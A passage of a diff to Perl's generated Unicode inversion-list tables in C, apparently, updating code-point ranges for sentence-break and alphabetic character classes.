0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, + 0x1D800, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, 0x1E800, 0x1E8C5, + 0x1E900, + 0x1E944, + 0x1E947, + 0x1E948, + 0x1E950, + 0x1E95A, 0x1EE00, 0x1EE04, 0x1EE05, @@ -330564,6 +23120,12 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x1EEAA, 0x1EEAB, 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, 0x20000, 0x2A6D7, 0x2A700, @@ -330572,20 +23134,18 @@ static const UV PL_SB__LE_invlist[] = { /* for all charsets */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, 0x2FA1E }; -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__LO_invlist[] = { /* for ASCII/Latin1 */ - 1279, /* Number of elements */ +static const UV XPosixAlpha_invlist[] = { /* for ASCII/Latin1 */ + 1289, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x41, + 0x5B, 0x61, 0x7B, 0xAA, @@ -330594,993 +23154,639 @@ static const UV PL_SB__LO_invlist[] = { /* for ASCII/Latin1 */ 0xB6, 0xBA, 0xBB, - 0xDF, + 0xC0, + 0xD7, + 0xD8, 0xF7, 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, 0x2C2, + 0x2C6, + 0x2D2, 0x2E0, 0x2E5, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x345, + 0x346, + 0x370, + 0x375, + 0x376, 0x378, 0x37A, 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, + 0x3F7, 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, + 0x48A, 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, 0x561, 0x588, + 0x5B0, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x610, + 0x61B, + 0x620, + 0x658, + 0x659, + 0x660, + 0x66E, + 0x6D4, + 0x6D5, + 0x6DD, + 0x6E1, + 0x6E9, + 0x6ED, + 0x6F0, + 0x6FA, + 0x6FD, + 0x6FF, + 0x700, + 0x710, + 0x740, + 0x74D, + 0x7B2, + 0x7CA, + 0x7EB, + 0x7F4, + 0x7F6, + 0x7FA, + 0x7FB, + 0x800, + 0x818, + 0x81A, + 0x82D, + 0x840, + 0x859, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E0, + 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, + 0x93D, + 0x94D, + 0x94E, + 0x951, + 0x955, + 0x964, + 0x971, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BD, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9F0, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4D, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA70, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABD, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACD, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3D, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB71, + 0xB72, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCD, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4D, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC80, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBD, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCD, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, + 0xD4E, + 0xD4F, + 0xD54, + 0xD58, + 0xD5F, + 0xD64, + 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE3B, + 0xE40, + 0xE47, + 0xE4D, + 0xE4E, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xECD, + 0xECE, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF82, + 0xF88, + 0xF98, + 0xF99, + 0xFBD, + 0x1000, + 0x1037, + 0x1038, + 0x1039, + 0x103B, + 0x1040, + 0x1050, + 0x1063, + 0x1065, + 0x1069, + 0x106E, + 0x1087, + 0x108E, + 0x108F, + 0x109C, + 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135F, + 0x1360, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, 0x13F8, 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1714, + 0x1720, + 0x1734, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17B4, + 0x17B6, + 0x17C9, + 0x17D7, + 0x17D8, + 0x17DC, + 0x17DD, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x1939, + 0x1950, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x1A00, + 0x1A1C, + 0x1A20, + 0x1A5F, + 0x1A61, + 0x1A75, + 0x1AA7, + 0x1AA8, + 0x1B00, + 0x1B34, + 0x1B35, + 0x1B44, + 0x1B45, + 0x1B4C, + 0x1B80, + 0x1BAA, + 0x1BAC, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BE7, + 0x1BF2, + 0x1C00, + 0x1C36, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, 0x1C80, 0x1C89, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF4, + 0x1CF5, + 0x1CF7, 0x1D00, 0x1DC0, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, + 0x1DE7, + 0x1DF5, + 0x1E00, 0x1F16, + 0x1F18, + 0x1F1E, 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, 0x1F46, + 0x1F48, + 0x1F4E, 0x1F50, 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, 0x1F7E, 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, 0x1FB5, 0x1FB6, - 0x1FB8, + 0x1FBD, 0x1FBE, 0x1FBF, 0x1FC2, 0x1FC5, 0x1FC6, - 0x1FC8, + 0x1FCD, 0x1FD0, 0x1FD4, 0x1FD6, - 0x1FD8, + 0x1FDC, 0x1FE0, - 0x1FE8, + 0x1FED, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FF8, + 0x1FFD, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, + 0x2102, + 0x2103, + 0x2107, + 0x2108, 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, 0x213A, 0x213C, - 0x213E, - 0x2146, + 0x2140, + 0x2145, 0x214A, 0x214E, 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, + 0x2160, + 0x2189, + 0x24B6, 0x24EA, + 0x2C00, + 0x2C2F, 0x2C30, 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, + 0x2C60, 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, + 0x2CEB, 0x2CEF, - 0x2CF3, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -331588,1618 +23794,2109 @@ static const UV PL_SB__LO_invlist[] = { /* for ASCII/Latin1 */ 0x2D28, 0x2D2D, 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, + 0x302A, + 0x3031, + 0x3036, + 0x3038, + 0x303D, + 0x3041, + 0x3097, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 